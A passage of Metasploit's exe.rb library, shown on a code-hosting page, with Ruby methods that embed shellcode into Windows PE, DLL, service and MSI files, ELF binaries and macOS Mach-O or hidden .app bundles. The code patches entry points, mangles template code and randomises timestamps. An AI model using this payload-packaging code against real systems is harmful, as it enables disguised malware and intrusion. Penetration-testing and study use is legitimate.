/
exe.rb
2368 lines (2083 loc) · 84.3 KB
/
exe.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# -*- coding: binary -*-
module Msf
module Util
#
# The class provides methods for creating and encoding executable file
# formats for various platforms. It is a replacement for the previous
# code in Rex::Text
#
class EXE
require 'rex'
require 'rex/peparsey'
require 'rex/pescan'
require 'rex/random_identifier'
require 'rex/zip'
require 'rex/powershell'
require 'metasm'
require 'digest/sha1'
require 'msf/core/exe/segment_injector'
require 'msf/core/exe/segment_appender'
# Generates a default template
#
# @param opts [Hash] The options hash
# @option opts [String] :template, the template type for the executable
# @option opts [String] :template_path, the path for the template
# @option opts [Bool] :fallback, If there are no options set, default options will be used
# @param exe [String] Template type. If undefined, will use the default.
# @param path [String] Where you would like the template to be saved.
def self.set_template_default(opts, exe = nil, path = nil)
# If no path specified, use the default one
path ||= File.join(Msf::Config.data_directory, "templates")
# If there's no default name, we must blow it up.
unless exe
raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called ' +
'without default exe name!'
end
# Use defaults only if nothing is specified
opts[:template_path] ||= path
opts[:template] ||= exe
# Only use the path when the filename contains no separators.
unless opts[:template].include?(File::SEPARATOR)
opts[:template] = File.join(opts[:template_path], opts[:template])
end
# Check if it exists now
return if File.file?(opts[:template])
# If it failed, try the default...
if opts[:fallback]
default_template = File.join(path, exe)
if File.file?(default_template)
# Perhaps we should warn about falling back to the default?
opts.merge!({ :fellback => default_template })
opts[:template] = default_template
end
end
end
# self.read_replace_script_template
#
# @param filename [String] Name of the file
# @param hash_sub [Hash]
def self.read_replace_script_template(filename, hash_sub)
template_pathname = File.join(Msf::Config.data_directory, "templates",
"scripts", filename)
template = ''
File.open(template_pathname, "rb") {|f| template = f.read}
template % hash_sub
end
# Generates a ZIP file.
#
# @param files [Array<Hash>] Items to compress. Each item is a hash that supports these options:
# * :data - The content of the file.
# * :fname - The file path in the ZIP file
# * :comment - A comment
# @example Compressing two files, one in a folder called 'test'
# Msf::Util::EXE.to_zip([{data: 'AAAA', fname: "file1.txt"}, {data: 'data', fname: 'test/file2.txt'}])
# @return [String]
def self.to_zip(files)
zip = Rex::Zip::Archive.new
files.each do |f|
data = f[:data]
fname = f[:fname]
comment = f[:comment] || ''
zip.add_file(fname, data, comment)
end
zip.pack
end
# Executable generators
#
# @param arch [Array<String>] The architecture of the system (i.e :x86, :x64)
# @param plat [String] The platform (i.e Linux, Windows, OSX)
# @param code [String]
# @param opts [Hash] The options hash
# @param framework [Msf::Framework] The framework of you want to use
# @return [String]
# @return [NilClass]
def self.to_executable(framework, arch, plat, code = '', opts = {})
if elf? code or macho? code
return code
end
if arch.index(ARCH_X86)
if plat.index(Msf::Module::Platform::Windows)
return to_win32pe(framework, code, opts)
end
if plat.index(Msf::Module::Platform::Linux)
return to_linux_x86_elf(framework, code)
end
if plat.index(Msf::Module::Platform::OSX)
return to_osx_x86_macho(framework, code)
end
if plat.index(Msf::Module::Platform::BSD)
return to_bsd_x86_elf(framework, code)
end
if plat.index(Msf::Module::Platform::Solaris)
return to_solaris_x86_elf(framework, code)
end
# XXX: Add remaining x86 systems here
end
if arch.index(ARCH_X64)
if (plat.index(Msf::Module::Platform::Windows))
return to_win64pe(framework, code, opts)
end
if plat.index(Msf::Module::Platform::Linux)
return to_linux_x64_elf(framework, code, opts)
end
if plat.index(Msf::Module::Platform::OSX)
return to_osx_x64_macho(framework, code)
end
if plat.index(Msf::Module::Platform::BSD)
return to_bsd_x64_elf(framework, code)
end
end
if arch.index(ARCH_ARMLE)
if plat.index(Msf::Module::Platform::OSX)
return to_osx_arm_macho(framework, code)
end
if plat.index(Msf::Module::Platform::Linux)
return to_linux_armle_elf(framework, code)
end
# XXX: Add remaining ARMLE systems here
end
if arch.index(ARCH_AARCH64)
if plat.index(Msf::Module::Platform::Linux)
return to_linux_aarch64_elf(framework, code)
end
# XXX: Add remaining AARCH64 systems here
end
if arch.index(ARCH_PPC)
if plat.index(Msf::Module::Platform::OSX)
return to_osx_ppc_macho(framework, code)
end
# XXX: Add PPC OS X and Linux here
end
if arch.index(ARCH_MIPSLE)
if plat.index(Msf::Module::Platform::Linux)
return to_linux_mipsle_elf(framework, code)
end
# XXX: Add remaining MIPSLE systems here
end
if arch.index(ARCH_MIPSBE)
if plat.index(Msf::Module::Platform::Linux)
return to_linux_mipsbe_elf(framework, code)
end
# XXX: Add remaining MIPSLE systems here
end
nil
end
# Clears the DYNAMIC_BASE flag for a Windows executable
#
# @param exe [String] The raw executable to be modified by the method
# @param pe [Rex::PeParsey::Pe] Use Rex::PeParsey::Pe.new_from_file
# @return [String] the modified executable
def self.clear_dynamic_base(exe, pe)
c_bits = ("%32d" %pe.hdr.opt.DllCharacteristics.to_s(2)).split('').map { |e| e.to_i }.reverse
c_bits[6] = 0 # DYNAMIC_BASE
new_dllcharacteristics = c_bits.reverse.join.to_i(2)
# PE Header Pointer offset = 60d
# SizeOfOptionalHeader offset = 94h
dll_ch_offset = exe[60, 4].unpack('h4')[0].reverse.hex + 94
exe[dll_ch_offset, 2] = [new_dllcharacteristics].pack("v")
exe
end
# self.to_win32pe
#
# @param framework [Msf::Framework]
# @param code [String]
# @param opts [Hash]
# @option opts [String] :sub_method
# @option opts [String] :inject, Code to inject into the exe
# @option opts [String] :template
# @option opts [Symbol] :arch, Set to :x86 by default
# @return [String]
def self.to_win32pe(framework, code, opts = {})
# For backward compatability, this is roughly equivalent to 'exe-small' fmt
if opts[:sub_method]
if opts[:inject]
raise RuntimeError, 'NOTE: using the substitution method means no inject support'
end
# use
self.to_win32pe_exe_sub(framework, code, opts)
end
# Allow the user to specify their own EXE template
set_template_default(opts, "template_x86_windows.exe")
# Copy the code to a new RWX segment to allow for self-modifying encoders
payload = win32_rwx_exec(code)
# Create a new PE object and run through sanity checks
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
#try to inject code into executable by adding a section without affecting executable behavior
if opts[:inject]
injector = Msf::Exe::SegmentInjector.new({
:payload => code,
:template => opts[:template],
:arch => :x86,
:secname => opts[:secname]
})
return injector.generate_pe
end
text = nil
pe.sections.each {|sec| text = sec if sec.name == ".text"}
raise RuntimeError, "No .text section found in the template" unless text
unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
raise RuntimeError, "The .text section does not contain an entry point"
end
p_length = payload.length + 256
# If the .text section is too small, append a new section instead
if text.size < p_length
appender = Msf::Exe::SegmentAppender.new({
:payload => code,
:template => opts[:template],
:arch => :x86,
:secname => opts[:secname]
})
return appender.generate_pe
end
# Store some useful offsets
off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)
off_beg = pe.rva_to_file_offset(text.base_rva)
# We need to make sure our injected code doesn't conflict with the
# the data directories stored in .text (import, export, etc)
mines = []
pe.hdr.opt['DataDirectory'].each do |dir|
next if dir.v['Size'] == 0
next unless text.contains_rva?(dir.v['VirtualAddress'])
delta = pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg
mines << [delta, dir.v['Size']]
end
# Break the text segment into contiguous blocks
blocks = []
bidx = 0
mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|
bbeg = bidx
bend = mine[0]
blocks << [bidx, bend-bidx] if bbeg != bend
bidx = mine[0] + mine[1]
end
# Add the ending block
blocks << [bidx, text.size - bidx] if bidx < text.size - 1
# Find the largest contiguous block
blocks.sort!{|a,b| b[1]<=>a[1]}
block = blocks.first
# TODO: Allow the entry point in a different block
if payload.length + 256 > block[1]
raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+256} found:#{block[1]})"
end
# Make a copy of the entire .text section
data = text.read(0,text.size)
# Pick a random offset to store the payload
poff = rand(block[1] - payload.length - 256)
# Flip a coin to determine if EP is before or after
eloc = rand(2)
eidx = nil
# Pad the entry point with random nops
entry = generate_nops(framework, [ARCH_X86], rand(200) + 51)
# Pick an offset to store the new entry point
if eloc == 0 # place the entry point before the payload
poff += 256
eidx = rand(poff-(entry.length + 5))
else # place the entry pointer after the payload
poff -= 256
eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length
end
# Relative jump from the end of the nops to the payload
entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')
# Mangle 25% of the original executable
1.upto(block[1] / 4) do
data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
end
# Patch the payload and the new entry point into the .text
data[block[0] + poff, payload.length] = payload
data[block[0] + eidx, entry.length] = entry
# Create the modified version of the input executable
exe = ''
File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}
a = [text.base_rva + block.first + eidx].pack("V")
exe[exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = a
exe[off_beg, data.length] = data
tds = pe.hdr.file.TimeDateStamp
exe[exe.index([tds].pack('V')), 4] = [tds - rand(0x1000000)].pack("V")
cks = pe.hdr.opt.CheckSum
unless cks == 0
exe[exe.index([cks].pack('V')), 4] = [0].pack("V")
end
exe = clear_dynamic_base(exe, pe)
pe.close
exe
end
# self.to_winpe_only
#
# @param framework [Msf::Framework] The framework of you want to use
# @param code [String]
# @param opts [Hash]
# @param arch [String] Default is "x86"
def self.to_winpe_only(framework, code, opts = {}, arch=ARCH_X86)
# Allow the user to specify their own EXE template
set_template_default(opts, "template_#{arch}_windows.exe")
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
exe = ''
File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}
pe_header_size = 0x18
entryPoint_offset = 0x28
section_size = 0x28
characteristics_offset = 0x24
virtualAddress_offset = 0x0c
sizeOfRawData_offset = 0x10
sections_table_offset =
pe._dos_header.v['e_lfanew'] +
pe._file_header.v['SizeOfOptionalHeader'] +
pe_header_size
sections_table_characteristics_offset = sections_table_offset + characteristics_offset
sections_header = []
pe._file_header.v['NumberOfSections'].times do |i|
section_offset = sections_table_offset + (i * section_size)
sections_header << [
sections_table_characteristics_offset + (i * section_size),
exe[section_offset,section_size]
]
end
addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint
# look for section with entry point
sections_header.each do |sec|
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]
characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]
if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)
importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]
if (importsTable - addressOfEntryPoint) < code.length
#shift original entry point to prevent tables overwritting
addressOfEntryPoint = importsTable - code.length + 4
entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset
exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')
end
# put this section writable
characteristics |= 0x8000_0000
newcharacteristics = [characteristics].pack('V')
exe[sec[0],newcharacteristics.length] = newcharacteristics
end
end
# put the shellcode at the entry point, overwriting template
entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)
exe[entryPoint_file_offset,code.length] = code
exe = clear_dynamic_base(exe, pe)
exe
end
# self.to_win32pe_old
#
# @param framework [Msf::Framework] The framework of you want to use
# @param code [String]
# @param opts [Hash]
def self.to_win32pe_old(framework, code, opts = {})
payload = code.dup
# Allow the user to specify their own EXE template
set_template_default(opts, "template_x86_windows_old.exe")
pe = ''
File.open(opts[:template], "rb") {|fd| pe = fd.read(fd.stat.size)}
if payload.length <= 2048
payload << Rex::Text.rand_text(2048-payload.length)
else
raise RuntimeError, "The EXE generator now has a max size of 2048 " +
"bytes, please fix the calling module"
end
bo = pe.index('PAYLOAD:')
unless bo
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag"
end
pe[bo, payload.length] = payload
pe[136, 4] = [rand(0x100000000)].pack('V')
ci = pe.index("\x31\xc9" * 160)
unless ci
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\""
end
cd = pe.index("\x31\xc9" * 160, ci + 320)
unless cd
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\""
end
rc = pe[ci+320, cd-ci-320]
# 640 + rc.length bytes of room to store an encoded rc at offset ci
enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)
lft = 640+rc.length - enc.length
buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)
pe[ci, buf.length] = buf
# Make the data section executable
xi = pe.index([0xc0300040].pack('V'))
pe[xi,4] = [0xe0300020].pack('V')
# Add a couple random bytes for fun
pe << Rex::Text.rand_text(rand(64)+4)
pe
end
# Splits a string into a number of assembly push operations
#
# @param string [String] String to be used
# @return [String] null terminated string as assembly push ops
def self.string_to_pushes(string)
str = string.dup
# Align string to 4 bytes
rem = (str.length) % 4
if rem > 0
str << "\x00" * (4 - rem)
pushes = ''
else
pushes = "h\x00\x00\x00\x00"
end
# string is now 4 bytes aligned with null byte
# push string to stack, starting at the back
while str.length > 0
four = 'h'+str.slice!(-4,4)
pushes << four
end
pushes
end
# self.exe_sub_method
#
# @param code [String]
# @param opts [Hash]
# @option opts [Symbol] :exe_type
# @option opts [String] :service_exe
# @option opts [Boolean] :sub_method
# @return [String]
def self.exe_sub_method(code,opts ={})
pe = self.get_file_contents(opts[:template])
case opts[:exe_type]
when :service_exe
max_length = 8192
name = opts[:servicename]
if name
bo = pe.index('SERVICENAME')
unless bo
raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag"
end
pe[bo, 11] = [name].pack('a11')
end
pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method]
when :dll
max_length = 2048
when :exe_sub
max_length = 4096
end
bo = self.find_payload_tag(pe, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag")
if code.length <= max_length
pe[bo, code.length] = [code].pack("a*")
else
raise RuntimeError, "The EXE generator now has a max size of " +
"#{max_length} bytes, please fix the calling module"
end
if opts[:exe_type] == :dll
mt = pe.index('MUTEX!!!')
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
if opts[:dll_exitprocess]
exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00"
exit_process = "\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73"
et_index = pe.index(exit_thread)
if et_index
pe[et_index,exit_process.length] = exit_process
else
raise RuntimeError, "Unable to find and replace ExitThread in the DLL."
end
end
end
pe
end
# self.to_win32pe_exe_sub
#
# @param framework [Msf::Framework] The framework of you want to use
# @param code [String]
# @param opts [Hash]
# @return [String]
def self.to_win32pe_exe_sub(framework, code, opts = {})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x86_windows.exe")
opts[:exe_type] = :exe_sub
exe_sub_method(code,opts)
end
# self.to_win64pe
#
# @param framework [Msf::Framework] The framework of you want to use
# @param code [String]
# @param opts [Hash]
# @return [String]
def self.to_win64pe(framework, code, opts = {})
# Allow the user to specify their own EXE template
set_template_default(opts, "template_x64_windows.exe")
# Try to inject code into executable by adding a section without affecting executable behavior
if opts[:inject]
injector = Msf::Exe::SegmentInjector.new({
:payload => code,
:template => opts[:template],
:arch => :x64,
:secname => opts[:secname]
})
return injector.generate_pe
end
# Append a new section instead
appender = Msf::Exe::SegmentAppender.new({
:payload => code,
:template => opts[:template],
:arch => :x64,
:secname => opts[:secname]
})
return appender.generate_pe
end
# Embeds shellcode within a Windows PE file implementing the Windows
# service control methods.
#
# @param framework [Object]
# @param code [String] shellcode to be embedded
# @option opts [Boolean] :sub_method use substitution technique with a
# service template PE
# @option opts [String] :servicename name of the service, not used in
# substituion technique
#
# @return [String] Windows Service PE file
def self.to_win32pe_service(framework, code, opts = {})
set_template_default(opts, "template_x86_windows_svc.exe")
if opts[:sub_method]
# Allow the user to specify their own service EXE template
opts[:exe_type] = :service_exe
return exe_sub_method(code,opts)
else
ENV['MSF_SERVICENAME'] = opts[:servicename]
opts[:framework] = framework
opts[:payload] = 'stdin'
opts[:encoder] = '@x86/service,'+(opts[:serviceencoder] || '')
# XXX This should not be required, it appears there is a dependency inversion
# See https://github.com/rapid7/metasploit-framework/pull/9851
require 'msf/core/payload_generator'
venom_generator = Msf::PayloadGenerator.new(opts)
code_service = venom_generator.multiple_encode_payload(code)
return to_winpe_only(framework, code_service, opts)
end
end
# self.to_win64pe_service
#
# @param framework [Msf::Framework] The framework of you want to use
# @param code [String]
# @param opts [Hash]
# @option [String] :exe_type
# @option [String] :service_exe
# @option [String] :dll
# @option [String] :inject
# @return [String]
def self.to_win64pe_service(framework, code, opts = {})
# Allow the user to specify their own service EXE template
set_template_default(opts, "template_x64_windows_svc.exe")
opts[:exe_type] = :service_exe
exe_sub_method(code,opts)
end
# self.to_win32pe_dll
#
# @param framework [Msf::Framework] The framework of you want to use
# @param code [String]
# @param opts [Hash]
# @option [String] :exe_type
# @option [String] :dll
# @option [String] :inject
# @return [String]
def self.to_win32pe_dll(framework, code, opts = {})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x86_windows.dll")
opts[:exe_type] = :dll
if opts[:inject]
self.to_win32pe(framework, code, opts)
else
exe_sub_method(code,opts)
end
end
# self.to_win64pe_dll
#
# @param framework [Msf::Framework] The framework of you want to use
# @param code [String]
# @param opts [Hash]
# @option [String] :exe_type
# @option [String] :dll
# @option [String] :inject
# @return [String]
def self.to_win64pe_dll(framework, code, opts = {})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x64_windows.dll")
opts[:exe_type] = :dll
if opts[:inject]
raise RuntimeError, 'Template injection unsupported for x64 DLLs'
else
exe_sub_method(code,opts)
end
end
# self.to_win32pe_dll
#
# @param framework [Msf::Framework] The framework of you want to use
# @param code [String]
# @param opts [Hash]
# @option [String] :exe_type
# @option [String] :dll
# @option [String] :inject
# @return [String]
def self.to_win32pe_dccw_gdiplus_dll(framework, code, opts = {})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x86_windows_dccw_gdiplus.dll")
opts[:exe_type] = :dll
if opts[:inject]
self.to_win32pe(framework, code, opts)
else
exe_sub_method(code,opts)
end
end
# self.to_win64pe_dll
#
# @param framework [Msf::Framework] The framework of you want to use
# @param code [String]
# @param opts [Hash]
# @option [String] :exe_type
# @option [String] :dll
# @option [String] :inject
# @return [String]
def self.to_win64pe_dccw_gdiplus_dll(framework, code, opts = {})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x64_windows_dccw_gdiplus.dll")
opts[:exe_type] = :dll
if opts[:inject]
raise RuntimeError, 'Template injection unsupported for x64 DLLs'
else
exe_sub_method(code,opts)
end
end
# Wraps an executable inside a Windows .msi file for auto execution when run
#
# @param framework [Msf::Framework] The framework of you want to use
# @param exe [String]
# @param opts [Hash]
# @option opts [String] :msi_template_path
# @option opts [String] :msi_template
# @return [String]
def self.to_exe_msi(framework, exe, opts = {})
if opts[:uac]
opts[:msi_template] ||= "template_windows.msi"
else
opts[:msi_template] ||= "template_nouac_windows.msi"
end
replace_msi_buffer(exe, opts)
end
#self.replace_msi_buffer
#
# @param pe [String]
# @param opts [String]
# @option [String] :msi_template
# @option [String] :msi_template_path
# @return [String]
def self.replace_msi_buffer(pe, opts)
opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates")
if opts[:msi_template].include?(File::SEPARATOR)
template = opts[:msi_template]
else
template = File.join(opts[:msi_template_path], opts[:msi_template])
end
msi = self.get_file_contents(template)
section_size = 2**(msi[30..31].unpack('v')[0])
# This table is one of the few cases where signed values are needed
sector_allocation_table = msi[section_size..section_size*2].unpack('l<*')
buffer_chain = []
# This is closely coupled with the template provided and ideally
# would be calculated from the dir stream?
current_secid = 5
until current_secid == -2
buffer_chain << current_secid
current_secid = sector_allocation_table[current_secid]
end
buffer_size = buffer_chain.length * section_size
if pe.size > buffer_size
raise RuntimeError, "MSI Buffer is not large enough to hold the PE file"
end
pe_block_start = 0
pe_block_end = pe_block_start + section_size - 1
buffer_chain.each do |section|
block_start = section_size * (section + 1)
block_end = block_start + section_size - 1
pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")
msi[block_start..block_end] = pe_block
pe_block_start = pe_block_end + 1
pe_block_end += section_size
end
msi
end
# self.to_osx_arm_macho
#
# @param framework [Msf::Framework] The framework of you want to use
# @param code [String]
# @param opts [Hash]
# @option [String] :template
# @return [String]
def self.to_osx_arm_macho(framework, code, opts = {})
# Allow the user to specify their own template
set_template_default(opts, "template_armle_darwin.bin")
mo = self.get_file_contents(opts[:template])
bo = self.find_payload_tag(mo, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag")
mo[bo, code.length] = code
mo
end
# self.to_osx_ppc_macho
#
# @param framework [Msf::Framework] The framework of you want to use
# @param code [String]
# @param opts [Hash]
# @option [String] :template
# @return [String]
def self.to_osx_ppc_macho(framework, code, opts = {})
# Allow the user to specify their own template
set_template_default(opts, "template_ppc_darwin.bin")
mo = self.get_file_contents(opts[:template])
bo = self.find_payload_tag(mo, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag")
mo[bo, code.length] = code
mo
end
# self.to_osx_x86_macho
#
# @param framework [Msf::Framework] The framework of you want to use
# @param code [String]
# @param opts [Hash]
# @option [String] :template
# @return [String]
def self.to_osx_x86_macho(framework, code, opts = {})
# Allow the user to specify their own template
set_template_default(opts, "template_x86_darwin.bin")
mo = self.get_file_contents(opts[:template])
bo = self.find_payload_tag(mo, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag")
mo[bo, code.length] = code
mo
end
# self.to_osx_x64_macho
#
# @param framework [Msf::Framework] The framework of you want to use
# @param code [String]
# @param opts [Hash]
# @option [String] :template
# @return [String]
def self.to_osx_x64_macho(framework, code, opts = {})
set_template_default(opts, "template_x64_darwin.bin")
macho = self.get_file_contents(opts[:template])
bin = self.find_payload_tag(macho,
"Invalid Mac OS X x86_64 Mach-O template: missing \"PAYLOAD:\" tag")
macho[bin, code.length] = code
macho
end
# self.to_osx_app
# @param opts [Hash] The options hash
# @option opts [Hash] :exe_name (random) the name of the macho exe file (never seen by the user)
# @option opts [Hash] :app_name (random) the name of the OSX app
# @option opts [Hash] :hidden (true) hide the app when it is running
# @option opts [Hash] :plist_extra ('') some extra data to shove inside the Info.plist file
# @return [String] zip archive containing an OSX .app directory
def self.to_osx_app(exe, opts = {})
exe_name = opts.fetch(:exe_name) { Rex::Text.rand_text_alpha(8) }
app_name = opts.fetch(:app_name) { Rex::Text.rand_text_alpha(8) }
hidden = opts.fetch(:hidden, true)
plist_extra = opts.fetch(:plist_extra, '')
app_name.chomp!(".app")
app_name += ".app"
visible_plist = if hidden
%Q|
<key>LSBackgroundOnly</key>
<string>1</string>
|
else
''
end
info_plist = %Q|
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>#{exe_name}</string>
<key>CFBundleIdentifier</key>
<string>com.#{exe_name}.app</string>
<key>CFBundleName</key>
<string>#{exe_name}</string>#{visible_plist}
<key>CFBundlePackageType</key>
<string>APPL</string>
#{plist_extra}
</dict>
</plist>
|
zip = Rex::Zip::Archive.new
zip.add_file("#{app_name}/", '')
zip.add_file("#{app_name}/Contents/", '')
zip.add_file("#{app_name}/Contents/Resources/", '')
zip.add_file("#{app_name}/Contents/MacOS/", '')
# Add the macho and mark it as executable
zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe).last.attrs = 0x10
zip.add_file("#{app_name}/Contents/Info.plist", info_plist)
zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt')
zip.pack
end
# Create an ELF executable containing the payload provided in +code+
#
# For the default template, this method just appends the payload, checks if
# the template is 32 or 64 bit and adjusts the offsets accordingly
# For user-provided templates, modifies the header to mark all executable
# segments as writable and overwrites the entrypoint (usually _start) with
# the payload.
# @param framework [Msf::Framework] The framework of you want to use
# @param opts [Hash]
# @option [String] :template
# @param template [String]
# @param code [String]
# @param big_endian [Boolean] Set to "false" by default
# @return [String]
def self.to_exe_elf(framework, opts, template, code, big_endian=false)
if elf? code
return code
end
# Allow the user to specify their own template
set_template_default(opts, template)
# The old way to do it is like other formats, just overwrite a big
# block of rwx mem with our shellcode.
#bo = elf.index( "\x90\x90\x90\x90" * 1024 )
#co = elf.index( " " * 512 )
#elf[bo, 2048] = [code].pack('a2048') if bo
# The new template is just an ELF header with its entry point set to
# the end of the file, so just append shellcode to it and fixup
# p_filesz and p_memsz in the header for a working ELF executable.
elf = self.get_file_contents(opts[:template])
elf << code
# Check EI_CLASS to determine if the header is 32 or 64 bit
# Use the proper offsets and pack size
case elf[4,1].unpack("C").first
when 1 # ELFCLASS32 - 32 bit (ruby 1.9+)
if big_endian
elf[0x44,4] = [elf.length].pack('N') #p_filesz
elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz
else # little endian
elf[0x44,4] = [elf.length].pack('V') #p_filesz
elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz